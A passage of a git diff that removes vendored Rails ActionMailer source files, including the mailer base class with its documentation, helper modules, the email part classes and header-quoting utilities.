-  # If you do decide to set a default <tt>:host</tt> for your mailers you will want to use the
-  # <tt>:only_path => false</tt> option when using <tt>url_for</tt>. This will ensure that absolute URLs are generated because
-  # the <tt>url_for</tt> view helper will, by default, generate relative URLs when a <tt>:host</tt> option isn't
-  # explicitly provided.
-  #
-  # = Sending mail
-  #
-  # Once a mailer action and template are defined, you can deliver your message or create it and save it
-  # for delivery later:
-  #
-  #   Notifier.deliver_signup_notification(david) # sends the email
-  #   mail = Notifier.create_signup_notification(david)  # => a tmail object
-  #   Notifier.deliver(mail)
-  #
-  # You never instantiate your mailer class. Rather, your delivery instance
-  # methods are automatically wrapped in class methods that start with the word
-  # <tt>deliver_</tt> followed by the name of the mailer method that you would
-  # like to deliver. The <tt>signup_notification</tt> method defined above is
-  # delivered by invoking <tt>Notifier.deliver_signup_notification</tt>.
-  #
-  #
-  # = HTML email
-  #
-  # To send mail as HTML, make sure your view (the <tt>.erb</tt> file) generates HTML and
-  # set the content type to html.
-  #
-  #   class MyMailer < ActionMailer::Base
-  #     def signup_notification(recipient)
-  #       recipients   recipient.email_address_with_name
-  #       subject      "New account information"
-  #       from         "system@example.com"
-  #       body         :account => recipient
-  #       content_type "text/html"
-  #     end
-  #   end
-  #
-  #
-  # = Multipart email
-  #
-  # You can explicitly specify multipart messages:
-  #
-  #   class ApplicationMailer < ActionMailer::Base
-  #     def signup_notification(recipient)
-  #       recipients      recipient.email_address_with_name
-  #       subject         "New account information"
-  #       from            "system@example.com"
-  #       content_type    "multipart/alternative"
-  #
-  #       part :content_type => "text/html",
-  #         :body => render_message("signup-as-html", :account => recipient)
-  #
-  #       part "text/plain" do |p|
-  #         p.body = render_message("signup-as-plain", :account => recipient)
-  #         p.transfer_encoding = "base64"
-  #       end
-  #     end
-  #   end
-  #
-  # Multipart messages can also be used implicitly because Action Mailer will automatically
-  # detect and use multipart templates, where each template is named after the name of the action, followed
-  # by the content type. Each such detected template will be added as separate part to the message.
-  #
-  # For example, if the following templates existed:
-  # * signup_notification.text.plain.erb
-  # * signup_notification.text.html.erb
-  # * signup_notification.text.xml.builder
-  # * signup_notification.text.x-yaml.erb
-  #
-  # Each would be rendered and added as a separate part to the message,
-  # with the corresponding content type. The content type for the entire
-  # message is automatically set to <tt>multipart/alternative</tt>, which indicates
-  # that the email contains multiple different representations of the same email
-  # body. The same body hash is passed to each template.
-  #
-  # Implicit template rendering is not performed if any attachments or parts have been added to the email.
-  # This means that you'll have to manually add each part to the email and set the content type of the email
-  # to <tt>multipart/alternative</tt>.
-  #
-  # = Attachments
-  #
-  # Attachments can be added by using the +attachment+ method.
-  #
-  # Example:
-  #
-  #   class ApplicationMailer < ActionMailer::Base
-  #     # attachments
-  #     def signup_notification(recipient)
-  #       recipients      recipient.email_address_with_name
-  #       subject         "New account information"
-  #       from            "system@example.com"
-  #
-  #       attachment :content_type => "image/jpeg",
-  #         :body => File.read("an-image.jpg")
-  #
-  #       attachment "application/pdf" do |a|
-  #         a.body = generate_your_pdf_here()
-  #       end
-  #     end
-  #   end
-  #
-  # = Multipart Emails with Attachments
-  #
-  # Multipart emails that also have attachments can be created by nesting a "multipart/alternative" part
-  # within an email that has its content type set to "multipart/mixed".  This would also need two templates
-  # in place within +app/views/mailer+ called "welcome_email.text.html.erb" and "welcome_email.text.plain.erb"
-  #
-  #   class ApplicationMailer < ActionMailer::Base
-  #     def signup_notification(recipient)
-  #       recipients      recipient.email_address_with_name
-  #       subject         "New account information"
-  #       from            "system@example.com"
-  #       content_type    "multipart/mixed"
-  #
-  #       part "multipart/alternative" do |alternative|
-  #
-  #         alternative.part "text/html" do |html|
-  #           html.body = render_message("welcome_email.text.html", :message => "<h1>HTML content</h1>")
-  #         end
-  #
-  #         alternative.part "text/plain" do |plain|
-  #           plain.body = render_message("welcome_email.text.plain", :message => "text content")
-  #         end
-  #
-  #       end
-  #
-  #       attachment :content_type => "image/png",
-  #         :body => File.read(File.join(RAILS_ROOT, 'public/images/rails.png'))
-  #
-  #       attachment "application/pdf" do |a|
-  #         a.body = File.read('/Users/mikel/Code/mail/spec/fixtures/attachments/test.pdf')
-  #       end
-  #     end
-  #   end
-  #
-  # = Configuration options
-  #
-  # These options are specified on the class level, like <tt>ActionMailer::Base.template_root = "/my/templates"</tt>
-  #
-  # * <tt>template_root</tt> - Determines the base from which template references will be made.
-  #
-  # * <tt>logger</tt> - the logger is used for generating information on the mailing run if available.
-  #   Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
-  #
-  # * <tt>smtp_settings</tt> - Allows detailed configuration for <tt>:smtp</tt> delivery method:
-  #   * <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
-  #   * <tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.
-  #   * <tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.
-  #   * <tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.
-  #   * <tt>:password</tt> - If your mail server requires authentication, set the password in this setting.
-  #   * <tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here.
-  #     This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.
-  #   * <tt>:enable_starttls_auto</tt> - When set to true, detects if STARTTLS is enabled in your SMTP server and starts to use it.
-  #     It works only on Ruby >= 1.8.7 and Ruby >= 1.9. Default is true.
-  #
-  # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
-  #   * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
-  #   * <tt>:arguments</tt> - The command line arguments. Defaults to <tt>-i -t</tt>.
-  #
-  # * <tt>raise_delivery_errors</tt> - Whether or not errors should be raised if the email fails to be delivered.
-  #
-  # * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, and <tt>:test</tt>.
-  #
-  # * <tt>perform_deliveries</tt> - Determines whether <tt>deliver_*</tt> methods are actually carried out. By default they are,
-  #   but this can be turned off to help functional testing.
-  #
-  # * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with <tt>delivery_method :test</tt>. Most useful
-  #   for unit and functional testing.
-  #
-  # * <tt>default_charset</tt> - The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also
-  #   pick a different charset from inside a method with +charset+.
-  #
-  # * <tt>default_content_type</tt> - The default content type used for the main part of the message. Defaults to "text/plain". You
-  #   can also pick a different content type from inside a method with +content_type+.
-  #
-  # * <tt>default_mime_version</tt> - The default mime version used for the message. Defaults to <tt>1.0</tt>. You
-  #   can also pick a different value from inside a method with +mime_version+.
-  #
-  # * <tt>default_implicit_parts_order</tt> - When a message is built implicitly (i.e. multiple parts are assembled from templates
-  #   which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to
-  #   <tt>["text/html", "text/enriched", "text/plain"]</tt>. Items that appear first in the array have higher priority in the mail client
-  #   and appear last in the mime encoded message. You can also pick a different order from inside a method with
-  #   +implicit_parts_order+.
-  class Base
-    include AdvAttrAccessor, PartContainer, Quoting, Utils
-    if Object.const_defined?(:ActionController)
-      include ActionController::UrlWriter
-      include ActionController::Layout
-    end
-
-    private_class_method :new #:nodoc:
-
-    class_inheritable_accessor :view_paths
-    self.view_paths = []
-
-    cattr_accessor :logger
-
-    @@smtp_settings = {
-      :address              => "localhost",
-      :port                 => 25,
-      :domain               => 'localhost.localdomain',
-      :user_name            => nil,
-      :password             => nil,
-      :authentication       => nil,
-      :enable_starttls_auto => true,
-    }
-    cattr_accessor :smtp_settings
-
-    @@sendmail_settings = {
-      :location       => '/usr/sbin/sendmail',
-      :arguments      => '-i -t'
-    }
-    cattr_accessor :sendmail_settings
-
-    @@raise_delivery_errors = true
-    cattr_accessor :raise_delivery_errors
-
-    class_attribute :delivery_method
-    self.delivery_method = :smtp
-
-    @@perform_deliveries = true
-    cattr_accessor :perform_deliveries
-
-    @@deliveries = []
-    cattr_accessor :deliveries
-
-    @@default_charset = "utf-8"
-    cattr_accessor :default_charset
-
-    @@default_content_type = "text/plain"
-    cattr_accessor :default_content_type
-
-    @@default_mime_version = "1.0"
-    cattr_accessor :default_mime_version
-
-    @@default_implicit_parts_order = [ "text/html", "text/enriched", "text/plain" ]
-    cattr_accessor :default_implicit_parts_order
-
-    cattr_reader :protected_instance_variables
-    @@protected_instance_variables = %w(@body)
-
-    # Specify the BCC addresses for the message
-    adv_attr_accessor :bcc
-
-    # Define the body of the message. This is either a Hash (in which case it
-    # specifies the variables to pass to the template when it is rendered),
-    # or a string, in which case it specifies the actual text of the message.
-    adv_attr_accessor :body
-
-    # Specify the CC addresses for the message.
-    adv_attr_accessor :cc
-
-    # Specify the charset to use for the message. This defaults to the
-    # +default_charset+ specified for ActionMailer::Base.
-    adv_attr_accessor :charset
-
-    # Specify the content type for the message. This defaults to <tt>text/plain</tt>
-    # in most cases, but can be automatically set in some situations.
-    adv_attr_accessor :content_type
-
-    # Specify the from address for the message.
-    adv_attr_accessor :from
-
-    # Specify the address (if different than the "from" address) to direct
-    # replies to this message.
-    adv_attr_accessor :reply_to
-
-    # Specify additional headers to be added to the message.
-    adv_attr_accessor :headers
-
-    # Specify the order in which parts should be sorted, based on content-type.
-    # This defaults to the value for the +default_implicit_parts_order+.
-    adv_attr_accessor :implicit_parts_order
-
-    # Defaults to "1.0", but may be explicitly given if needed.
-    adv_attr_accessor :mime_version
-
-    # The recipient addresses for the message, either as a string (for a single
-    # address) or an array (for multiple addresses).
-    adv_attr_accessor :recipients
-
-    # The date on which the message was sent. If not set (the default), the
-    # header will be set by the delivery agent.
-    adv_attr_accessor :sent_on
-
-    # Specify the subject of the message.
-    adv_attr_accessor :subject
-
-    # Specify the template name to use for current message. This is the "base"
-    # template name, without the extension or directory, and may be used to
-    # have multiple mailer methods share the same template.
-    adv_attr_accessor :template
-
-    # Override the mailer name, which defaults to an inflected version of the
-    # mailer's class name. If you want to use a template in a non-standard
-    # location, you can use this to specify that location.
-    def mailer_name(value = nil)
-      if value
-        self.mailer_name = value
-      else
-        self.class.mailer_name
-      end
-    end
-
-    def mailer_name=(value)
-      self.class.mailer_name = value
-    end
-
-    # The mail object instance referenced by this mailer.
-    attr_reader :mail
-    attr_reader :template_name, :default_template_name, :action_name
-
-    class << self
-      attr_writer :mailer_name
-
-      def mailer_name
-        @mailer_name ||= name.underscore
-      end
-
-      # for ActionView compatibility
-      alias_method :controller_name, :mailer_name
-      alias_method :controller_path, :mailer_name
-
-      def respond_to?(method_symbol, include_private = false) #:nodoc:
-        matches_dynamic_method?(method_symbol) || super
-      end
-
-      def method_missing(method_symbol, *parameters) #:nodoc:
-        if match = matches_dynamic_method?(method_symbol)
-          case match[1]
-            when 'create'  then new(match[2], *parameters).mail
-            when 'deliver' then new(match[2], *parameters).deliver!
-            when 'new'     then nil
-            else super
-          end
-        else
-          super
-        end
-      end
-
-      # Receives a raw email, parses it into an email object, decodes it,
-      # instantiates a new mailer, and passes the email object to the mailer
-      # object's +receive+ method. If you want your mailer to be able to
-      # process incoming messages, you'll need to implement a +receive+
-      # method that accepts the email object as a parameter:
-      #
-      #   class MyMailer < ActionMailer::Base
-      #     def receive(mail)
-      #       ...
-      #     end
-      #   end
-      def receive(raw_email)
-        logger.info "Received mail:\n #{raw_email}" unless logger.nil?
-        mail = TMail::Mail.parse(raw_email)
-        mail.base64_decode
-        new.receive(mail)
-      end
-
-      # Deliver the given mail object directly. This can be used to deliver
-      # a preconstructed mail object, like:
-      #
-      #   email = MyMailer.create_some_mail(parameters)
-      #   email.set_some_obscure_header "frobnicate"
-      #   MyMailer.deliver(email)
-      def deliver(mail)
-        new.deliver!(mail)
-      end
-
-      def template_root
-        self.view_paths && self.view_paths.first
-      end
-
-      def template_root=(root)
-        self.view_paths = ActionView::Base.process_view_paths(root)
-      end
-
-      private
-        def matches_dynamic_method?(method_name) #:nodoc:
-          method_name = method_name.to_s
-          /^(create|deliver)_([_a-z]\w*)/.match(method_name) || /^(new)$/.match(method_name)
-        end
-    end
-
-    # Instantiate a new mailer object. If +method_name+ is not +nil+, the mailer
-    # will be initialized according to the named method. If not, the mailer will
-    # remain uninitialized (useful when you only need to invoke the "receive"
-    # method, for instance).
-    def initialize(method_name=nil, *parameters) #:nodoc:
-      create!(method_name, *parameters) if method_name
-    end
-
-    # Initialize the mailer via the given +method_name+. The body will be
-    # rendered and a new TMail::Mail object created.
-    def create!(method_name, *parameters) #:nodoc:
-      initialize_defaults(method_name)
-      __send__(method_name, *parameters)
-
-      # If an explicit, textual body has not been set, we check assumptions.
-      unless String === @body
-        # First, we look to see if there are any likely templates that match,
-        # which include the content-type in their file name (i.e.,
-        # "the_template_file.text.html.erb", etc.). Only do this if parts
-        # have not already been specified manually.
-        if @parts.empty?
-          Dir.glob("#{template_path}/#{@template}.*").each do |path|
-            template = template_root["#{mailer_name}/#{File.basename(path)}"]
-
-            # Skip unless template has a multipart format
-            next unless template && template.multipart?
-
-            @parts << Part.new(
-              :content_type => template.content_type,
-              :disposition => "inline",
-              :charset => charset,
-              :body => render_message(template, @body)
-            )
-          end
-          unless @parts.empty?
-            @content_type = "multipart/alternative" if @content_type !~ /^multipart/
-            @parts = sort_parts(@parts, @implicit_parts_order)
-          end
-        end
-
-        # Then, if there were such templates, we check to see if we ought to
-        # also render a "normal" template (without the content type). If a
-        # normal template exists (or if there were no implicit parts) we render
-        # it.
-        template_exists = @parts.empty?
-        template_exists ||= template_root["#{mailer_name}/#{@template}"]
-        @body = render_message(@template, @body) if template_exists
-
-        # Finally, if there are other message parts and a textual body exists,
-        # we shift it onto the front of the parts and set the body to nil (so
-        # that create_mail doesn't try to render it in addition to the parts).
-        if !@parts.empty? && String === @body
-          @parts.unshift Part.new(:charset => charset, :body => @body)
-          @body = nil
-        end
-      end
-
-      # If this is a multipart e-mail add the mime_version if it is not
-      # already set.
-      @mime_version ||= "1.0" if !@parts.empty?
-
-      # build the mail object itself
-      @mail = create_mail
-    end
-
-    # Delivers a TMail::Mail object. By default, it delivers the cached mail
-    # object (from the <tt>create!</tt> method). If no cached mail object exists, and
-    # no alternate has been given as the parameter, this will fail.
-    def deliver!(mail = @mail)
-      raise "no mail object available for delivery!" unless mail
-      unless logger.nil?
-        logger.info  "Sent mail to #{Array(recipients).join(', ')}"
-        logger.debug "\n#{mail.encoded}"
-      end
-
-      begin
-        __send__("perform_delivery_#{delivery_method}", mail) if perform_deliveries
-      rescue Exception => e  # Net::SMTP errors or sendmail pipe errors
-        raise e if raise_delivery_errors
-      end
-
-      return mail
-    end
-
-    private
-      # Set up the default values for the various instance variables of this
-      # mailer. Subclasses may override this method to provide different
-      # defaults.
-      def initialize_defaults(method_name)
-        @charset ||= @@default_charset.dup
-        @content_type ||= @@default_content_type.dup
-        @implicit_parts_order ||= @@default_implicit_parts_order.dup
-        @template ||= method_name
-        @default_template_name = @action_name = @template
-        @mailer_name ||= self.class.name.underscore
-        @parts ||= []
-        @headers ||= {}
-        @body ||= {}
-        @mime_version = @@default_mime_version.dup if @@default_mime_version
-        @sent_on ||= Time.now
-      end
-
-      def render_message(method_name, body)
-        if method_name.respond_to?(:content_type)
-          @current_template_content_type = method_name.content_type
-        end
-        render :file => method_name, :body => body
-      ensure
-        @current_template_content_type = nil
-      end
-
-      def render(opts)
-        body = opts.delete(:body)
-        if opts[:file] && (opts[:file] !~ /\// && !opts[:file].respond_to?(:render))
-          opts[:file] = "#{mailer_name}/#{opts[:file]}"
-        end
-
-        begin
-          old_template, @template = @template, initialize_template_class(body)
-          layout = respond_to?(:pick_layout, true) ? pick_layout(opts) : false
-          @template.render(opts.merge(:layout => layout))
-        ensure
-          @template = old_template
-        end
-      end
-
-      def default_template_format
-        if @current_template_content_type
-          Mime::Type.lookup(@current_template_content_type).to_sym
-        else
-          :html
-        end
-      end
-
-      def candidate_for_layout?(options)
-        !self.view_paths.find_template(default_template_name, default_template_format).exempt_from_layout?
-      rescue ActionView::MissingTemplate
-        return true
-      end
-
-      def template_root
-        self.class.template_root
-      end
-
-      def template_root=(root)
-        self.class.template_root = root
-      end
-
-      def template_path
-        File.join(template_root, mailer_name)
-      end
-
-      def initialize_template_class(assigns)
-        template = ActionView::Base.new(self.class.view_paths, assigns, self)
-        template.template_format = default_template_format
-        template
-      end
-
-      def sort_parts(parts, order = [])
-        order = order.collect { |s| s.downcase }
-
-        parts = parts.sort do |a, b|
-          a_ct = a.content_type.downcase
-          b_ct = b.content_type.downcase
-
-          a_in = order.include? a_ct
-          b_in = order.include? b_ct
-
-          s = case
-          when a_in && b_in
-            order.index(a_ct) <=> order.index(b_ct)
-          when a_in
-            -1
-          when b_in
-            1
-          else
-            a_ct <=> b_ct
-          end
-
-          # reverse the ordering because parts that come last are displayed
-          # first in mail clients
-          (s * -1)
-        end
-
-        parts
-      end
-
-      def create_mail
-        m = TMail::Mail.new
-
-        m.subject,     = quote_any_if_necessary(charset, subject)
-        m.to, m.from   = quote_any_address_if_necessary(charset, recipients, from)
-        m.bcc          = quote_address_if_necessary(bcc, charset) unless bcc.nil?
-        m.cc           = quote_address_if_necessary(cc, charset) unless cc.nil?
-        m.reply_to     = quote_address_if_necessary(reply_to, charset) unless reply_to.nil?
-        m.mime_version = mime_version unless mime_version.nil?
-        m.date         = sent_on.to_time rescue sent_on if sent_on
-
-        headers.each { |k, v| m[k] = v }
-
-        real_content_type, ctype_attrs = parse_content_type
-
-        if @parts.empty?
-          m.set_content_type(real_content_type, nil, ctype_attrs)
-          m.body = normalize_new_lines(body)
-        else
-          if String === body
-            part = TMail::Mail.new
-            part.body = normalize_new_lines(body)
-            part.set_content_type(real_content_type, nil, ctype_attrs)
-            part.set_content_disposition "inline"
-            m.parts << part
-          end
-
-          @parts.each do |p|
-            part = (TMail::Mail === p ? p : p.to_mail(self))
-            m.parts << part
-          end
-
-          if real_content_type =~ /multipart/
-            ctype_attrs.delete "charset"
-            m.set_content_type(real_content_type, nil, ctype_attrs)
-          end
-        end
-
-        @mail = m
-      end
-
-      def perform_delivery_smtp(mail)
-        destinations = mail.destinations
-        mail.ready_to_send
-        sender = (mail['return-path'] && mail['return-path'].spec) || Array(mail.from).first
-
-        smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])
-        smtp.enable_starttls_auto if smtp_settings[:enable_starttls_auto] && smtp.respond_to?(:enable_starttls_auto)
-        smtp.start(smtp_settings[:domain], smtp_settings[:user_name], smtp_settings[:password],
-                   smtp_settings[:authentication]) do |smtp|
-          smtp.sendmail(mail.encoded, sender, destinations)
-        end
-      end
-
-      def perform_delivery_sendmail(mail)
-        sendmail_args = sendmail_settings[:arguments]
-        sendmail_args += " -f \"#{mail['return-path']}\"" if mail['return-path']
-        IO.popen("#{sendmail_settings[:location]} #{sendmail_args}","w+") do |sm|
-          sm.print(mail.encoded.gsub(/\r/, ''))
-          sm.flush
-        end
-      end
-
-      def perform_delivery_test(mail)
-        deliveries << mail
-      end
-  end
-
-  Base.class_eval do
-    include Helpers
-    helper MailHelper
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/helpers.rb b/vendor/rails/actionmailer/lib/action_mailer/helpers.rb
deleted file mode 100644
index ab8611a8..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/helpers.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-require 'active_support/dependencies'
-
-module ActionMailer
-  module Helpers #:nodoc:
-    def self.included(base) #:nodoc:
-      # Initialize the base module to aggregate its helpers.
-      base.class_inheritable_accessor :master_helper_module
-      base.master_helper_module = Module.new
-
-      # Extend base with class methods to declare helpers.
-      base.extend(ClassMethods)
-
-      base.class_eval do
-        # Wrap inherited to create a new master helper module for subclasses.
-        class << self
-          alias_method_chain :inherited, :helper
-        end
-
-        # Wrap initialize_template_class to extend new template class
-        # instances with the master helper module.
-        alias_method_chain :initialize_template_class, :helper
-      end
-    end
-
-    module ClassMethods
-      # Makes all the (instance) methods in the helper module available to templates rendered through this controller.
-      # See ActionView::Helpers (link:classes/ActionView/Helpers.html) for more about making your own helper modules
-      # available to the templates.
-      def add_template_helper(helper_module) #:nodoc:
-        master_helper_module.module_eval "include #{helper_module}"
-      end
-
-      # Declare a helper:
-      #   helper :foo
-      # requires 'foo_helper' and includes FooHelper in the template class.
-      #   helper FooHelper
-      # includes FooHelper in the template class.
-      #   helper { def foo() "#{bar} is the very best" end }
-      # evaluates the block in the template class, adding method +foo+.
-      #   helper(:three, BlindHelper) { def mice() 'mice' end }
-      # does all three.
-      def helper(*args, &block)
-        args.flatten.each do |arg|
-          case arg
-            when Module
-              add_template_helper(arg)
-            when String, Symbol
-              file_name  = arg.to_s.underscore + '_helper'
-              class_name = file_name.camelize
-
-              begin
-                require_dependency(file_name)
-              rescue LoadError => load_error
-                requiree = / -- (.*?)(\.rb)?$/.match(load_error.message).to_a[1]
-                msg = (requiree == file_name) ? "Missing helper file helpers/#{file_name}.rb" : "Can't load file: #{requiree}"
-                raise LoadError.new(msg).copy_blame!(load_error)
-              end
-
-              add_template_helper(class_name.constantize)
-            else
-              raise ArgumentError, 'helper expects String, Symbol, or Module argument'
-          end
-        end
-
-        # Evaluate block in template class if given.
-        master_helper_module.module_eval(&block) if block_given?
-      end
-
-      # Declare a controller method as a helper.  For example,
-      #   helper_method :link_to
-      #   def link_to(name, options) ... end
-      # makes the link_to controller method available in the view.
-      def helper_method(*methods)
-        methods.flatten.each do |method|
-          master_helper_module.module_eval <<-end_eval
-            def #{method}(*args, &block)
-              controller.__send__(%(#{method}), *args, &block)
-            end
-          end_eval
-        end
-      end
-
-      # Declare a controller attribute as a helper.  For example,
-      #   helper_attr :name
-      #   attr_accessor :name
-      # makes the name and name= controller methods available in the view.
-      # The is a convenience wrapper for helper_method.
-      def helper_attr(*attrs)
-        attrs.flatten.each { |attr| helper_method(attr, "#{attr}=") }
-      end
-
-      private
-        def inherited_with_helper(child)
-          inherited_without_helper(child)
-          begin
-            child.master_helper_module = Module.new
-            child.master_helper_module.__send__(:include, master_helper_module)
-            child.helper child.name.to_s.underscore
-          rescue MissingSourceFile => e
-            raise unless e.is_missing?("helpers/#{child.name.to_s.underscore}_helper")
-          end
-        end
-    end
-
-    private
-      # Extend the template class instance with our controller's helper module.
-      def initialize_template_class_with_helper(assigns)
-        initialize_template_class_without_helper(assigns).tap do |template|
-          template.extend self.class.master_helper_module
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb b/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb
deleted file mode 100644
index 351b966a..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-module MailHelper
-  # Uses Text::Format to take the text and format it, indented two spaces for
-  # each line, and wrapped at 72 columns.
-  def block_format(text)
-    formatted = text.split(/\n\r\n/).collect { |paragraph| 
-      Text::Format.new(
-        :columns => 72, :first_indent => 2, :body_indent => 2, :text => paragraph
-      ).format
-    }.join("\n")
-    
-    # Make list points stand on their own line
-    formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { |s| "  #{$1} #{$2.strip}\n" }
-    formatted.gsub!(/[ ]*([#]+) ([^#]*)/) { |s| "  #{$1} #{$2.strip}\n" }
-
-    formatted
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/part.rb b/vendor/rails/actionmailer/lib/action_mailer/part.rb
deleted file mode 100644
index 2bbb59cd..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/part.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-module ActionMailer
-  # Represents a subpart of an email message. It shares many similar
-  # attributes of ActionMailer::Base.  Although you can create parts manually
-  # and add them to the +parts+ list of the mailer, it is easier
-  # to use the helper methods in ActionMailer::PartContainer.
-  class Part
-    include AdvAttrAccessor, PartContainer, Utils
-
-    # Represents the body of the part, as a string. This should not be a
-    # Hash (like ActionMailer::Base), but if you want a template to be rendered
-    # into the body of a subpart you can do it with the mailer's +render+ method
-    # and assign the result here.
-    adv_attr_accessor :body
-    
-    # Specify the charset for this subpart. By default, it will be the charset
-    # of the containing part or mailer.
-    adv_attr_accessor :charset
-    
-    # The content disposition of this part, typically either "inline" or
-    # "attachment".
-    adv_attr_accessor :content_disposition
-    
-    # The content type of the part.
-    adv_attr_accessor :content_type
-    
-    # The filename to use for this subpart (usually for attachments).
-    adv_attr_accessor :filename
-    
-    # Accessor for specifying additional headers to include with this part.
-    adv_attr_accessor :headers
-    
-    # The transfer encoding to use for this subpart, like "base64" or
-    # "quoted-printable".
-    adv_attr_accessor :transfer_encoding
-
-    # Create a new part from the given +params+ hash. The valid params keys
-    # correspond to the accessors.
-    def initialize(params)
-      @content_type = params[:content_type]
-      @content_disposition = params[:disposition] || "inline"
-      @charset = params[:charset]
-      @body = params[:body]
-      @filename = params[:filename]
-      @transfer_encoding = params[:transfer_encoding] || "quoted-printable"
-      @headers = params[:headers] || {}
-      @parts = []
-    end
-
-    # Convert the part to a mail object which can be included in the parts
-    # list of another mail object.
-    def to_mail(defaults)
-      part = TMail::Mail.new
-
-      real_content_type, ctype_attrs = parse_content_type(defaults)
-
-      if @parts.empty?
-        part.content_transfer_encoding = transfer_encoding || "quoted-printable"
-        case (transfer_encoding || "").downcase
-          when "base64" then
-            part.body = TMail::Base64.folding_encode(body)
-          when "quoted-printable"
-            part.body = [normalize_new_lines(body)].pack("M*")
-          else
-            part.body = body
-        end
-
-        # Always set the content_type after setting the body and or parts!
-        # Also don't set filename and name when there is none (like in
-        # non-attachment parts)
-        if content_disposition == "attachment"
-          ctype_attrs.delete "charset"
-          part.set_content_type(real_content_type, nil,
-            squish("name" => filename).merge(ctype_attrs))
-          part.set_content_disposition(content_disposition,
-            squish("filename" => filename).merge(ctype_attrs))
-        else
-          part.set_content_type(real_content_type, nil, ctype_attrs)
-          part.set_content_disposition(content_disposition) 
-        end        
-      else
-        if String === body
-          @parts.unshift Part.new(:charset => charset, :body => @body, :content_type => 'text/plain')
-          @body = nil
-        end
-          
-        @parts.each do |p|
-          prt = (TMail::Mail === p ? p : p.to_mail(defaults))
-          part.parts << prt
-        end
-        
-        if real_content_type =~ /multipart/
-          ctype_attrs.delete 'charset'
-          part.set_content_type(real_content_type, nil, ctype_attrs)
-        end
-      end
-
-      headers.each { |k,v| part[k] = v }
-
-      part
-    end
-
-    private
-      def squish(values={})
-        values.delete_if { |k,v| v.nil? }
-      end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/part_container.rb b/vendor/rails/actionmailer/lib/action_mailer/part_container.rb
deleted file mode 100644
index abfd8f84..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/part_container.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-module ActionMailer
-  # Accessors and helpers that ActionMailer::Base and ActionMailer::Part have
-  # in common. Using these helpers you can easily add subparts or attachments
-  # to your message:
-  #
-  #   def my_mail_message(...)
-  #     ...
-  #     part "text/plain" do |p|
-  #       p.body "hello, world"
-  #       p.transfer_encoding "base64"
-  #     end
-  #
-  #     attachment "image/jpg" do |a|
-  #       a.body = File.read("hello.jpg")
-  #       a.filename = "hello.jpg"
-  #     end
-  #   end
-  module PartContainer
-    # The list of subparts of this container
-    attr_reader :parts
-
-    # Add a part to a multipart message, with the given content-type. The
-    # part itself is yielded to the block so that other properties (charset,
-    # body, headers, etc.) can be set on it.
-    def part(params)
-      params = {:content_type => params} if String === params
-      part = Part.new(params)
-      yield part if block_given?
-      @parts << part
-    end
-
-    # Add an attachment to a multipart message. This is simply a part with the
-    # content-disposition set to "attachment".
-    def attachment(params, &block)
-      params = { :content_type => params } if String === params
-      params = { :disposition => "attachment",
-                 :transfer_encoding => "base64" }.merge(params)
-      part(params, &block)
-    end
-
-    private
-    
-      def parse_content_type(defaults=nil)
-        if content_type.blank? 
-          return defaults                                                ? 
-            [ defaults.content_type, { 'charset' => defaults.charset } ] : 
-            [ nil, {} ] 
-        end 
-        ctype, *attrs = content_type.split(/;\s*/)
-        attrs = attrs.inject({}) { |h,s| k,v = s.split(/=/, 2); h[k] = v; h }
-        [ctype, {"charset" => charset || defaults && defaults.charset}.merge(attrs)]
-      end
-
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/quoting.rb b/vendor/rails/actionmailer/lib/action_mailer/quoting.rb
deleted file mode 100644
index 5a32b652..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/quoting.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-# encoding: us-ascii
-module ActionMailer
-  module Quoting #:nodoc:
-    # Convert the given text into quoted printable format, with an instruction
-    # that the text be eventually interpreted in the given charset.
-    def quoted_printable(text, charset)
-      text = text.gsub( /[^a-z ]/i ) { quoted_printable_encode($&) }.
-                  gsub( / /, "_" )
-      "=?#{charset}?Q?#{text}?="
-    end
-
-    # Convert the given character to quoted printable format, taking into
-    # account multi-byte characters (if executing with $KCODE="u", for instance)
-    def quoted_printable_encode(character)
-      result = ""
-      character.each_byte { |b| result << "=%02X" % b }
-      result
-    end
-
-    # A quick-and-dirty regexp for determining whether a string contains any
-    # characters that need escaping.
-    if !defined?(CHARS_NEEDING_QUOTING)
-      CHARS_NEEDING_QUOTING = /[\000-\011\013\014\016-\037\177-\377]/
-    end
-
-    # Quote the given text if it contains any "illegal" characters
-    def quote_if_necessary(text, charset)
-      text = text.dup.force_encoding(Encoding::ASCII_8BIT) if text.respond_to?(:force_encoding)
-
-      (text =~ CHARS_NEEDING_QUOTING) ?
-        quoted_printable(text, charset) :
-        text
-    end
-
-    # Quote any of the given strings if they contain any "illegal" characters
-    def quote_any_if_necessary(charset, *args)
-      args.map { |v| quote_if_necessary(v, charset) }
-    end
-
